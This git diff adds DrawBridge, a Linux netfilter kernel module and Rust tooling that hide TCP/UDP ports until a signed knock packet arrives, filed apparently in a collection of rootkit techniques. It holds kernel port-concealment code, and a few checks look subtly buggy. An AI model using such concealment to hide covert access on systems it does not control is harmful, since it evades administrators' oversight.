+ err = wait_async_op(&res, crypto_akcipher_verify(req)); +#else + err = wait_async_op(&res, crypto_akcipher_encrypt(req)); +#endif + + if (err) { + DEBUG_PRINT(KERN_INFO "[!] Digest computation failed %d\n", err); + kfree(inbuf); + kfree(outbuf); + kfree(result); + return err; + } + + // Decode the PKCS#1 v1.5 encoding + sha256_template.data = RSA_digest_info_SHA256; + sha256_template.size = ARRAY_SIZE(RSA_digest_info_SHA256); + result = pkcs_1_v1_5_decode_emsa(outbuf, req->dst_len, sha256_template.data, + sha256_template.size, 32); + + err = -EINVAL; + if (!result) { + DEBUG_PRINT(KERN_INFO "[!] EMSA PKCS#1 v1.5 decode failed\n"); + kfree(inbuf); + kfree(outbuf); + return err; + } + + /*DEBUG_PRINT(KERN_INFO "\nComputation:\n"); + hexdump(result, 32); */ + + /* Do the actual verification step. */ + if (crypto_memneq(sig->digest, result, sig->digest_size) != 0) { + DEBUG_PRINT(KERN_INFO + "[!] Signature verification failed - Key Rejected: %d\n", + -EKEYREJECTED); + kfree(inbuf); + kfree(outbuf); + return -EKEYREJECTED; + } + + //DEBUG_PRINT(KERN_INFO "[+] RSA signature verification passed\n"); + kfree(inbuf); + kfree(outbuf); + return 0; +} diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_hook.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_hook.c new file mode 100644 index 0000000..db73ece --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_hook.c @@ -0,0 +1,284 @@ +/** +* @file xt_hook.c +* @brief Entrypoint for Drawbridge - NetFilter Kernel Module to Support +* BPF Based Single Packet Authentication +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include // https://github.com/torvalds/linux/blob/master/include/uapi/asm-generic/errno-base.h for relevent error codes +#include +#include +#include +#include + +// Version handling +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 10, 0) +#include +#include +#endif + +// Netfilter headers +#include +#include +#include +#include "drawbridge.h" +#include "compat.h" + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Bradley Landherr https://github.com/landhb"); +MODULE_DESCRIPTION( + "NetFilter Kernel Module to Support BPF Based Single Packet Authentication"); +MODULE_VERSION("0.1"); +MODULE_ALIAS("drawbridge"); +MODULE_ALIAS("ip_conntrack_drawbridge"); + +#define MODULE_NAME "drawbridge" +#define MAX_PORTS 10 + +// Companion thread +struct task_struct *raw_thread; + +// defined in xt_state.c +extern conntrack_state *knock_state; + +// Global configs +static unsigned short ports[MAX_PORTS] = { 0 }; +static unsigned int ports_c = 0; + +// Define module port list argument +module_param_array(ports, ushort, &ports_c, 0400); +MODULE_PARM_DESC(ports, "Port numbers to require knocks for"); + +static struct nf_hook_ops pkt_hook_ops __read_mostly = { + .pf = NFPROTO_IPV4, + .priority = NF_IP_PRI_FIRST, + .hooknum = NF_INET_LOCAL_IN, + .hook = &hook_wrapper_v4, +}; + +static struct nf_hook_ops pkt_hook_ops_v6 __read_mostly = { + .pf = NFPROTO_IPV6, + .priority = NF_IP_PRI_FIRST, + .hooknum = NF_INET_LOCAL_IN, + .hook = &hook_wrapper_v6, +}; + +/** + * @brief Determine if an incoming connection should be accepted + * + * Iterates over the guarded ports defined in the configuration, + * if an incoming connection is destined for a guarded port, performs a state + * lookup to determine if the source has previously authenticated. + * + * @return NF_ACCEPT/NF_DROP + */ +static unsigned int conn_state_check(int type, __be32 src, + struct in6_addr *src_6, __be16 dest_port) +{ + unsigned int i; + + for (i = 0; i < ports_c && i < MAX_PORTS; i++) { + // Check if packet is destined for a port on our watchlist + if (dest_port == htons(ports[i])) { + if (type == 4 && + state_lookup(knock_state, 4, src, NULL, dest_port)) { + return NF_ACCEPT; + } else if (type == 6 && + state_lookup(knock_state, 6, 0, src_6, dest_port)) { + return NF_ACCEPT; + } + + return NF_DROP; + } + } + return NF_ACCEPT; +} + +/** + * @brief IPv6 Hook + * + * Determines if a connection is NEW fist, ESTABLISHED connections will be ignored. + * Then determines if the connection is UDP/TCP before handing it off to + * conn_state_check to make the authorization decision. + * + * @return NF_ACCEPT/NF_DROP + */ +static unsigned int pkt_hook_v6(struct sk_buff *skb) +{ + struct tcphdr *tcp_header; + struct udphdr *udp_header; + struct ipv6hdr *ipv6_header = (struct ipv6hdr *)skb_network_header(skb); + + // We only want to look at NEW connections +#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 10, 0) + if (skb->nfctinfo == IP_CT_ESTABLISHED && + skb->nfctinfo == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#else + if ((skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED && + (skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#endif + + // Unsuported IPv6 encapsulated protocol + if (ipv6_header->nexthdr != 6 && ipv6_header->nexthdr != 17) { + return NF_ACCEPT; + } + + // UDP + if (ipv6_header->nexthdr == 17) { + udp_header = (struct udphdr *)skb_transport_header(skb); + return conn_state_check(6, 0, &(ipv6_header->saddr), udp_header->dest); + } + + // TCP + tcp_header = (struct tcphdr *)skb_transport_header(skb); + return conn_state_check(6, 0, &(ipv6_header->saddr), tcp_header->dest); +} + +/** + * @brief IPv4 Hook + * + * Determines if a connection is NEW fist, ESTABLISHED connections will be ignored. + * Then determines if the connection is UDP/TCP before handing it off to + * conn_state_check to make the authorization decision. + * + * @return NF_ACCEPT/NF_DROP + */ +static unsigned int pkt_hook_v4(struct sk_buff *skb) +{ + struct tcphdr *tcp_header; + struct udphdr *udp_header; + struct iphdr *ip_header = (struct iphdr *)skb_network_header(skb); + + // We only want to look at NEW connections +#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 10, 0) + if (skb->nfctinfo == IP_CT_ESTABLISHED && + skb->nfctinfo == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#else + if ((skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED && + (skb->_nfct & NFCT_INFOMASK) == IP_CT_ESTABLISHED_REPLY) { + return NF_ACCEPT; + } +#endif + + // Unsuported IPv4 encapsulated protocol + if (ip_header->protocol != 6 && ip_header->protocol != 17) { + return NF_ACCEPT; + } + + // UDP + if (ip_header->protocol == 17) { + udp_header = (struct udphdr *)skb_transport_header(skb); + return conn_state_check(4, ip_header->saddr, NULL, udp_header->dest); + } + + // TCP + tcp_header = (struct tcphdr *)skb_transport_header(skb); + return conn_state_check(4, ip_header->saddr, NULL, tcp_header->dest); +} + +/** + * @brief Drawbridge module loading/initialization. + * + * Installs netfilter hooks, and creates listener kernel thread. + * + * @return 0 on success, !0 on error + */ +static int __init nf_conntrack_knock_init(void) +{ + int ret, ret6; + raw_thread = NULL; + + // Initialize our memory + if ((knock_state = init_state()) == NULL) { + return -ENOMEM; + } + + // Start kernel thread raw socket to listen for SPA packets + raw_thread = kthread_create(&listen, NULL, MODULE_NAME); + + if (IS_ERR(raw_thread)) { + DEBUG_PRINT(KERN_INFO "[-] drawbridge: Unable to start child thread\n"); + return PTR_ERR(raw_thread); + } + + // Increments usage counter - preserve structure even on exit + get_task_struct(raw_thread); + + // Now it is safe to start kthread - exiting from it doesn't destroy its struct. + wake_up_process(raw_thread); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0) + ret = nf_register_net_hook(&init_net, &pkt_hook_ops); + ret6 = nf_register_net_hook(&init_net, &pkt_hook_ops_v6); +#else + ret = nf_register_hook(&pkt_hook_ops); + ret6 = nf_register_hook(&pkt_hook_ops_v6); +#endif + + if (ret || ret6) { + DEBUG_PRINT(KERN_INFO "[-] drawbridge: Failed to register hook\n"); + return ret; + } + + LOG_PRINT( + KERN_INFO + "[+] drawbridge: Loaded module into kernel - monitoring %d port(s)\n", + ports_c); + return 0; +} + +/** + * @brief Drawbridge module unloading/cleanup. + * + * Unregisters netfilter hooks, and stops the listener thread. + * + */ +static void __exit nf_conntrack_knock_exit(void) +{ + int err = 0; + + if (raw_thread) { + err = kthread_stop(raw_thread); + put_task_struct(raw_thread); + raw_thread = NULL; + DEBUG_PRINT(KERN_INFO "[*] drawbridge: stopped counterpart thread\n"); + + } else { + DEBUG_PRINT(KERN_INFO "[!] drawbridge: no kernel thread to kill\n"); + } + + if (knock_state) { + cleanup_states(knock_state); + } + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0) + nf_unregister_net_hook(&init_net, &pkt_hook_ops); + nf_unregister_net_hook(&init_net, &pkt_hook_ops_v6); +#else + nf_unregister_hook(&pkt_hook_ops); + nf_unregister_hook(&pkt_hook_ops_v6); +#endif + + LOG_PRINT(KERN_INFO + "[*] drawBridge: Unloaded Netfilter module from kernel\n"); + return; +} + +// Register the initialization and exit functions +module_init(nf_conntrack_knock_init); +module_exit(nf_conntrack_knock_exit); \ No newline at end of file diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_listen.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_listen.c new file mode 100644 index 0000000..d7c1b3d --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_listen.c @@ -0,0 +1,393 @@ +/** +* @file xt_listen.c +* @brief Raw socket listener to support Single Packet Authentication +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include // DECLARE_WAITQUEUE +#include +#include // iov_iter +#include +#include "drawbridge.h" +#include "key.h" + +// defined in xt_state.c +extern struct timer_list *reaper; +extern conntrack_state *knock_state; + +// For both IPv4 and IPv6 compiled w/ +// tcpdump "udp dst port 53" -dd +struct sock_filter code[] = { + { 0x28, 0, 0, 0x0000000c }, { 0x15, 0, 4, 0x000086dd }, + { 0x30, 0, 0, 0x00000014 }, { 0x15, 0, 11, 0x00000011 }, + { 0x28, 0, 0, 0x00000038 }, { 0x15, 8, 9, 0x00000035 }, + { 0x15, 0, 8, 0x00000800 }, { 0x30, 0, 0, 0x00000017 }, + { 0x15, 0, 6, 0x00000011 }, { 0x28, 0, 0, 0x00000014 }, + { 0x45, 4, 0, 0x00001fff }, { 0xb1, 0, 0, 0x0000000e }, + { 0x48, 0, 0, 0x00000010 }, { 0x15, 0, 1, 0x00000035 }, + { 0x6, 0, 0, 0x00040000 }, { 0x6, 0, 0, 0x00000000 }, +}; + +static int ksocket_receive(struct socket *sock, struct sockaddr_in *addr, + unsigned char *buf, int len) +{ + struct msghdr msg; + int size = 0; + struct kvec iov; + + if (sock->sk == NULL) { + return 0; + } + + iov.iov_base = buf; + iov.iov_len = len; + + msg.msg_flags = MSG_DONTWAIT; + msg.msg_name = addr; + msg.msg_namelen = sizeof(struct sockaddr_in); + msg.msg_control = NULL; + msg.msg_controllen = 0; +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0) + msg.msg_iocb = NULL; + iov_iter_init(&msg.msg_iter, WRITE, (struct iovec *)&iov, 1, len); +#else + msg.msg_iov = &iov; + msg.msg_iovlen = len; +#endif + + // https://github.com/torvalds/linux/commit/2da62906b1e298695e1bb725927041cd59942c98 + // switching to kernel_recvmsg because it's more consistent across versions + // https://elixir.bootlin.com/linux/v4.6/source/net/socket.c#L741 + size = kernel_recvmsg(sock, &msg, &iov, 1, len, msg.msg_flags); + + return size; +} + +static void free_signature(pkey_signature *sig) +{ + if (sig->s) { + kfree(sig->s); + } + if (sig->digest) { + kfree(sig->digest); + } + kfree(sig); +} + +// Pointer arithmatic to parse out the signature and digest +static pkey_signature *get_signature(void *pkt, u32 offset) +{ + // Allocate the result struct + pkey_signature *sig = kzalloc(sizeof(pkey_signature), GFP_KERNEL); + + if (sig == NULL) { + return NULL; + } + + // Get the signature size + sig->s_size = *(u32 *)(pkt + offset); + + // Sanity check the sig size + if (sig->s_size > MAX_SIG_SIZE || + (offset + sig->s_size + sizeof(u32) > MAX_PACKET_SIZE)) { + kfree(sig); + return NULL; + } + + // Copy the signature from the packet + sig->s = kzalloc(sig->s_size, GFP_KERNEL); + + if (sig == NULL) { + return NULL; + } + + // copy the signature + offset += sizeof(u32); + memcpy(sig->s, pkt + offset, sig->s_size); + + // Get the digest size + offset += sig->s_size; + sig->digest_size = *(u32 *)(pkt + offset); + + // Sanity check the digest size + if (sig->digest_size > MAX_DIGEST_SIZE || + (offset + sig->digest_size + sizeof(u32) > MAX_PACKET_SIZE)) { + kfree(sig->s); + kfree(sig); + return NULL; + } + + // Copy the digest from the packet + sig->digest = kzalloc(sig->digest_size, GFP_KERNEL); + offset += sizeof(u32); + memcpy(sig->digest, pkt + offset, sig->digest_size); + + return sig; +} + +int listen(void *data) +{ + int ret, recv_len, error, offset, version; + + // Packet headers + struct ethhdr *eth_h = NULL; + struct iphdr *ip_h = NULL; + struct ipv6hdr *ip6_h = NULL; + //struct tcphdr * tcp_h; + //struct udphdr * udp_h; + unsigned char *proto_h = NULL; // either TCP or UDP + int proto_h_size; + struct packet *res = NULL; + + // Socket info + struct socket *sock; + struct sockaddr_in source; + struct timespec64 tm; + + // Buffers + unsigned char *pkt = kmalloc(MAX_PACKET_SIZE, GFP_KERNEL); + char *src = kmalloc(32 + 1, GFP_KERNEL); + pkey_signature *sig = NULL; + void *hash = NULL; + + struct sock_fprog bpf = { + .len = ARRAY_SIZE(code), + .filter = code, + }; + + // Initialize wait queue + DECLARE_WAITQUEUE(recv_wait, current); + + // Init Crypto Verification + struct crypto_akcipher *tfm; + akcipher_request *req = init_keys(&tfm, public_key, KEY_LEN); + reaper = NULL; + + if (!req) { + kfree(pkt); + kfree(src); + return -1; + } + + //sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); + error = sock_create(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL), &sock); + + if (error < 0) { + DEBUG_PRINT(KERN_INFO "[-] Could not initialize raw socket\n"); + kfree(pkt); + kfree(src); + free_keys(tfm, req); + return -1; + } + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 9, 0) + ret = sock_setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, + KERNEL_SOCKPTR((void *)&bpf), sizeof(bpf)); +#else + ret = sock_setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, (void *)&bpf, + sizeof(bpf)); +#endif + + if (ret < 0) { + DEBUG_PRINT(KERN_INFO "[-] Could not attach bpf filter to socket\n"); + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + return -1; + } + + reaper = init_reaper(STATE_TIMEOUT); + + if (!reaper) { + DEBUG_PRINT(KERN_INFO "[-] Failed to initialize connection reaper\n"); + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + return -1; + } + + //DEBUG_PRINT(KERN_INFO "[+] BPF raw socket thread initialized\n"); + + while (1) { + // Add socket to wait queue + add_wait_queue(&sock->sk->sk_wq->wait, &recv_wait); + + // Socket recv queue empty, set interruptable + // release CPU and allow scheduler to preempt the thread + while (skb_queue_empty(&sock->sk->sk_receive_queue)) { + set_current_state(TASK_INTERRUPTIBLE); + schedule_timeout(2 * HZ); + + // check exit condition + if (kthread_should_stop()) { + // Crucial to remove the wait queue before exiting + set_current_state(TASK_RUNNING); + remove_wait_queue(&sock->sk->sk_wq->wait, &recv_wait); + + // Cleanup and exit thread + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + if (reaper) { + cleanup_reaper(reaper); + } + do_exit(0); + } + } + + // Return to running state and remove socket from wait queue + set_current_state(TASK_RUNNING); + remove_wait_queue(&sock->sk->sk_wq->wait, &recv_wait); + + memset(pkt, 0, MAX_PACKET_SIZE); + if ((recv_len = ksocket_receive(sock, &source, pkt, MAX_PACKET_SIZE)) > + 0) { + if (recv_len < sizeof(struct packet) || + recv_len > MAX_PACKET_SIZE) { + continue; + } + + // rust parser + //validate_packet(pkt, MAX_PACKET_SIZE); + + // Check IP version + eth_h = (struct ethhdr *)pkt; + proto_h_size = 0; + if ((eth_h->h_proto & 0xFF) == 0x08 && + ((eth_h->h_proto >> 8) & 0xFF) == 0x00) { + version = 4; + ip_h = (struct iphdr *)(pkt + sizeof(struct ethhdr)); + proto_h = (unsigned char *)(pkt + sizeof(struct ethhdr) + + sizeof(struct iphdr)); + inet_ntoa(src, ip_h->saddr); + offset = sizeof(struct ethhdr) + sizeof(struct iphdr); + + // check protocol + if ((ip_h->protocol & 0xFF) == 0x06) { + proto_h_size = (((struct tcphdr *)proto_h)->doff) * 4; + + // tcp spec + if (proto_h_size < 20 || proto_h_size > 60) { + continue; + } + + offset += proto_h_size + sizeof(struct packet); + } else if ((ip_h->protocol & 0xFF) == 0x11) { + proto_h_size = sizeof(struct udphdr); + offset += sizeof(struct udphdr) + sizeof(struct packet); + } + } else if ((eth_h->h_proto & 0xFF) == 0x86 && + ((eth_h->h_proto >> 8) & 0xFF) == 0xDD) { + version = 6; + ip6_h = (struct ipv6hdr *)(pkt + sizeof(struct ethhdr)); + proto_h = (unsigned char *)(pkt + sizeof(struct ethhdr) + + sizeof(struct ipv6hdr)); + inet6_ntoa(src, &(ip6_h->saddr)); + offset = sizeof(struct ethhdr) + sizeof(struct ipv6hdr); + + // check protocol + if ((ip6_h->nexthdr & 0xFF) == 0x06) { + proto_h_size = (((struct tcphdr *)proto_h)->doff) * 4; + + // tcp spec + if (proto_h_size < 20 || proto_h_size > 60) { + continue; + } + + offset += proto_h_size + sizeof(struct packet); + } else if ((ip6_h->nexthdr & 0xFF) == 0x11) { + proto_h_size = sizeof(struct udphdr); + offset += sizeof(struct udphdr) + sizeof(struct packet); + } + } else { + // unsupported protocol + continue; + } + + // Process packet + res = (struct packet *)(pkt + offset - sizeof(struct packet)); + + // Parse the packet for a signature + sig = get_signature(pkt, offset); + + if (!sig) { + DEBUG_PRINT(KERN_INFO "[-] Signature not found in packet\n"); + continue; + } + + // Hash timestamp + port to unlock + hash = gen_digest(proto_h + proto_h_size, sizeof(struct packet)); + + if (!hash) { + free_signature(sig); + continue; + } + + // Check that the hash matches + if (memcmp(sig->digest, hash, sig->digest_size) != 0) { + DEBUG_PRINT(KERN_INFO "-----> Hash not the same\n"); + free_signature(sig); + kfree(hash); + continue; + } + + // Verify the signature + if (verify_sig_rsa(req, sig) != 0) { + free_signature(sig); + kfree(hash); + continue; + } + + // Check timestamp (Currently allows 60 sec skew) + ktime_get_real_ts64(&tm); + if (tm.tv_sec > res->timestamp.tv_sec + 60) { + free_signature(sig); + kfree(hash); + continue; + } + + // Add the IP to the connection linked list + if (version == 4 && ip_h != NULL) { + if (!state_lookup(knock_state, 4, ip_h->saddr, NULL, + htons(res->port))) { + LOG_PRINT(KERN_INFO + "[+] drawbridge: Authentication from:%s\n", + src); + state_add(knock_state, 4, ip_h->saddr, NULL, + htons(res->port)); + } + } else if (version == 6 && ip6_h != NULL) { + if (!state_lookup(knock_state, 6, 0, &(ip6_h->saddr), + htons(res->port))) { + LOG_PRINT(KERN_INFO + "[+] drawbridge: Authentication from:%s\n", + src); + state_add(knock_state, 6, 0, &(ip6_h->saddr), + htons(res->port)); + } + } + + free_signature(sig); + kfree(hash); + } + } + + sock_release(sock); + free_keys(tfm, req); + kfree(pkt); + kfree(src); + if (reaper) { + cleanup_reaper(reaper); + } + do_exit(0); +} diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_state.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_state.c new file mode 100644 index 0000000..c468d7f --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_state.c @@ -0,0 +1,318 @@ +/** +* @file xt_state.c +* @brief Implements connection state functions for the +* conntrack_state linked list +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include +#include "drawbridge.h" + +/* + * Globally accessed knock_state list head + */ +conntrack_state *knock_state; + +/* + * Globally access mutex to protect the list + */ +spinlock_t listmutex; +DEFINE_SPINLOCK(listmutex); + +/* + * Reaper thread timer + */ +struct timer_list *reaper; + +/** +* @brief Utility function to compare IPv6 addresses +* @param a1 First address, of type in6_addr to compare +* @param a2 Second address, of type in6_addr to compare +* @return Zero on a match, otherwise a non-zero integer +*/ +static inline int ipv6_addr_cmp(const struct in6_addr *a1, + const struct in6_addr *a2) +{ + if (a2 == NULL || a1 == NULL) { + return -1; + } + return memcmp(a1, a2, sizeof(struct in6_addr)); +} + +/** +* @brief Utility function to log a new connections to dmesg +* @param state The SPA conntrack_state associated with this allowed connection +* @param src IPv4 address to log, if connection is IPv4 +* @param src_6 IPv6 address to log, if connection is IPv6 +* @return Zero on a match, otherwise a non-zero integer +*/ +static inline void log_connection(struct conntrack_state *state, __be32 src, + struct in6_addr *src_6) +{ + uint8_t buf[512] = {0}; + + // Don't log the connection if it could be considered to be the auth + // packet that we just processed. Implies a slight delay/latency + // between authorization and the subsequent connection - REVIEW + if (jiffies - state->time_added <= 200) { + return; + } + + // Convert to human readable to log + if (state->type == 4) { + inet_ntoa(buf, src); + } else if (state->type == 6) { + inet6_ntoa(buf, src_6); + } + + DEBUG_PRINT("[+] DrawBridge accepted connection - source: %s\n", buf); +} + +/** +* @brief Initializes a new conntrack_state node in memory +* +* There will be one conntrack_state per authenticated session +* As the connection remains established, the state will be periodically +* updated with a new timestamp to maintain currency and not be destroyed +* by the reaper thread. +* +* @return Pointer to the newly allocated conntrack_state struct, NULL on error. +*/ +conntrack_state *init_state(void) +{ + conntrack_state *state = NULL; + + if((state = kzalloc(sizeof(struct conntrack_state), GFP_KERNEL)) == NULL) { + return NULL; + } + + // Zero struct + memset(state, 0, sizeof(struct conntrack_state)); + + // Init list + INIT_LIST_HEAD(&(state->list)); + + return state; +} + +/** +* @brief Callback for call_rcu, asyncronously frees memory when the +* RCU grace period ends +* +* @param rcu The rcu_head for the node being freed, contains all the information necessary +* for RCU mechanism to maintain pending updates. +*/ +static void reclaim_state_entry(struct rcu_head *rcu) +{ + struct conntrack_state *state = + container_of(rcu, struct conntrack_state, rcu); + kfree(state); +} + +/** +* @brief Update function, to create a copy of a conntrack_state struct, +* update it, and then free the old state struct with a later call to call_rcu +* +* This is called when a connection has come in and has an authenticated +* conntrack_state. update_state() will be called to update state->time_updated +* and maintain currency for ESTABLISHED connections to prevent them from being +* dropped by the reaper thread. +* +* A good reference, on updates in the RCU construct: +* http://lse.sourceforge.net/locking/rcu/HOWTO/descrip.html +* +* @param old_state The conntrack_state to be updated, and later freed +*/ +static inline void update_state(conntrack_state *old_state) +{ + // Create new node + conntrack_state *new_state = init_state(); + + if (!new_state) { + return; + } + + memcpy(new_state, old_state, sizeof(struct conntrack_state)); + new_state->time_updated = jiffies; + + // obtain lock to list for the replacement + spin_lock(&listmutex); + list_replace_rcu(&old_state->list, &new_state->list); + spin_unlock(&listmutex); + + return; +} + +/** +* @brief Function to iterate the conntrack_state list to check +* if a IP address has properly authenticated with DrawBridge. +* If so, the conntrack_state will be updated to keep the connection +* established. +* +* @param head Beginning of the conntrack_state list +* @param type IP potocol version, either 4 or 6 +* @param src IPv4 address to log, if connection is IPv4 +* @param src_6 IPv6 address to log, if connection is IPv6 +* @param port Port attempting to be connected to +*/ +int state_lookup(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port) +{ + conntrack_state *state; + + rcu_read_lock(); + + list_for_each_entry_rcu (state, &(head->list), list) { + if (state->type == 4 && state->src.addr_4 == src && + state->port == port) { + update_state(state); +#ifdef DEBUG + log_connection(state, src, src_6); +#endif + rcu_read_unlock(); + call_rcu(&state->rcu, reclaim_state_entry); + return 1; + } else if (state->type == 6 && + ipv6_addr_cmp(&(state->src.addr_6), src_6) == 0 && + state->port == port) { + update_state(state); +#ifdef DEBUG + log_connection(state, src, src_6); +#endif + rcu_read_unlock(); + call_rcu(&state->rcu, reclaim_state_entry); + return 1; + } + } + rcu_read_unlock(); + + return 0; +} + +/** +* @brief Function to add a new conntrack_state to the list +* called upon successful authentication +* +* @param head Beginning of the conntrack_state list +* @param type IP potocol version, either 4 or 6 +* @param src IPv4 address that authenticated, if connection is IPv4 +* @param src_6 IPv6 address that authenticated, if connection is IPv6 +* @param port Port that connections will be allowed to +*/ +void state_add(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port) +{ + // Create new node + conntrack_state *state = init_state(); + + // set params + state->type = type; + if (type == 4) { + state->src.addr_4 = src; + } else if (type == 6) { + memcpy(&(state->src.addr_6), src_6, sizeof(struct in6_addr)); + } + state->port = port; + state->time_added = jiffies; + state->time_updated = jiffies; + + // add to list + spin_lock(&listmutex); + list_add_rcu(&(state->list), &(head->list)); + spin_unlock(&listmutex); + + return; +} + +void cleanup_states(conntrack_state *head) +{ + conntrack_state *state, *tmp; + + spin_lock(&listmutex); + + list_for_each_entry_safe (state, tmp, &(head->list), list) { + list_del_rcu(&(state->list)); + synchronize_rcu(); + kfree(state); + } + + spin_unlock(&listmutex); +} + +/* ----------------------------------------------- + Reaper Timeout Functions + ----------------------------------------------- */ + +#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 14, 153) +void reap_expired_connections_new(struct timer_list *timer) +{ + reap_expired_connections(timer->expires); + return; +} +#endif + +// Initializes the reaper callback +struct timer_list *init_reaper(unsigned long timeout) +{ + struct timer_list *my_timer = NULL; + + my_timer = + (struct timer_list *)kmalloc(sizeof(struct timer_list), GFP_KERNEL); + + if (!my_timer) { + return NULL; + } + + // setup timer to callback reap_expired +#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 14, 153) + timer_setup(my_timer, reap_expired_connections_new, 0); +#else + setup_timer(my_timer, reap_expired_connections, timeout); +#endif + + // Set the timeout value + mod_timer(my_timer, jiffies + msecs_to_jiffies(timeout)); + + return my_timer; +} + +// Cleans up and removes the timer +void cleanup_reaper(struct timer_list *my_timer) +{ + del_timer(my_timer); + kfree((void *)my_timer); +} + +/** +* Callback function for the reaper: removes expired connections +* @param timeout Conn +*/ +void reap_expired_connections(unsigned long timeout) +{ + conntrack_state *state, *tmp; + + spin_lock(&listmutex); + + list_for_each_entry_safe (state, tmp, &(knock_state->list), list) { + if (jiffies - state->time_updated >= msecs_to_jiffies(timeout)) { + list_del_rcu(&(state->list)); + synchronize_rcu(); + kfree(state); + continue; + } + } + + spin_unlock(&listmutex); + + // Set the timeout value + mod_timer(reaper, jiffies + msecs_to_jiffies(timeout)); + + return; +} diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/Cargo.toml b/Linux/Rootkit Techniques/DrawBridge/tools/Cargo.toml new file mode 100644 index 0000000..f397cc6 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "dbtools" +version = "1.0.0" +authors = ["landhb "] +edition = "2018" +description = """ +Usermode tools for Drawbridge. A Layer 4 Single Packet Authentication Linux kernel +module utilizing Netfilter hooks and kernel supported Berkeley Packet Filters (BPF) +""" +keywords = ["spa", "auth", "netfilter", "linux-kernel"] +categories = ["command-line-utilities"] +homepage = "https://github.com/landhb/Drawbridge" +repository = "https://github.com/landhb/Drawbridge" +readme = "README.md" +license = "GPL-3.0-or-later" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +# Multi-command utility to send auth packets +# generate keys, etc. +[[bin]] +name = "db" +path = "src/main.rs" + +[dependencies] +pnet = "0.23.0" +libc = "0.2.66" +failure = "0.1.6" +rand = "0.3" +clap = "2.33.0" +ring = "0.16.11" +openssl = { version = "0.10.28", features = ["vendored"] } +shellexpand = "2.0.0" diff --git a/Linux/Rootkit Techniques/DrawBridge/tools/README.md b/Linux/Rootkit Techniques/DrawBridge/tools/README.md new file mode 100644 index 0000000..964dfe6 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/tools/README.md @@ -0,0 +1,177 @@ +![logo](https://github.com/landhb/DrawBridge/blob/master/img/logo.PNG?raw=true) + +The Usermode tools package for Drawbridge; a layer 4 Single Packet Authentication (SPA) Module, used to conceal TCP/UDP ports on public facing machines and add an extra layer of security. + +Please read the corresponding [article](https://www.landhb.me/posts/bODdK/port-knocking-with-netfilter-kernel-modules/) for a more in-depth look at the design. + +# Basic usage + +```bash +sudo db auth --server [REMOTE_SERVER] --dport 53 -p udp --unlock [PORT_TO_UNLOCK] +``` + +To give the `db` binary CAP_NET_RAW privs so that you don't need `sudo` to run it: + +```bash +chmod 500 ~/.cargo/bin/db +sudo setcap cap_net_raw=pe ~/.cargo/bin/db +``` + +It's also convenient to create a bash alias to run `db` automatically when you want to access the port that it's guarding. + +```bash +alias "connect"="db auth -s [REMOTE] -d 53 -p udp --unlock [PORT] && ssh -p [PORT] user@[REMOTE]" +``` + +## Build and Install the Drawbridge Utilities + +The usermode tools are now written in Rust! Build and install them with cargo: + +``` +git clone https://github.com/landhb/Drawbridge +cargo install --path Drawbridge/tools + +# or +cargo install dbtools +``` + +## Build and Install the Drawbridge Module + +To automagically generate keys, run the following on your client machine: + +```bash +db keygen +``` + +The output of the keygen utility will be three files: `~/.drawbridge/db_rsa`, `~/.drawbridge/db_rsa.pub` and `key.h`. Keep `db_rsa` safe, it's your private key. `key.h` is the public key formated as a C-header file. It will be compiled into the kernel module. + + +To compile the kernel module simply, bring `key.h`, cd into the kernel directory and run `make`. + +```bash +# on the server compile the module and load it +# pass the ports you want to monitor as an argument +mv key.h kernel/ +cd kernel +make +sudo modprobe x_tables +sudo insmod drawbridge.ko ports=22,445 +``` + +You may need to install your kernel headers to compile the module, you can do so with: + +``` +sudo apt-get install linux-headers-$(uname -r) +sudo apt-get update && sudo apt-get upgrade +``` + +This code has been tested on Linux Kernels between 4.X and 5.9. I don't plan to support anything earlier than 4.X but let me know if you encounter some portabilitity issues on newer kernels. + +## Customizing a Unique 'knock' Packet + +If you wish to customize your knock a little more 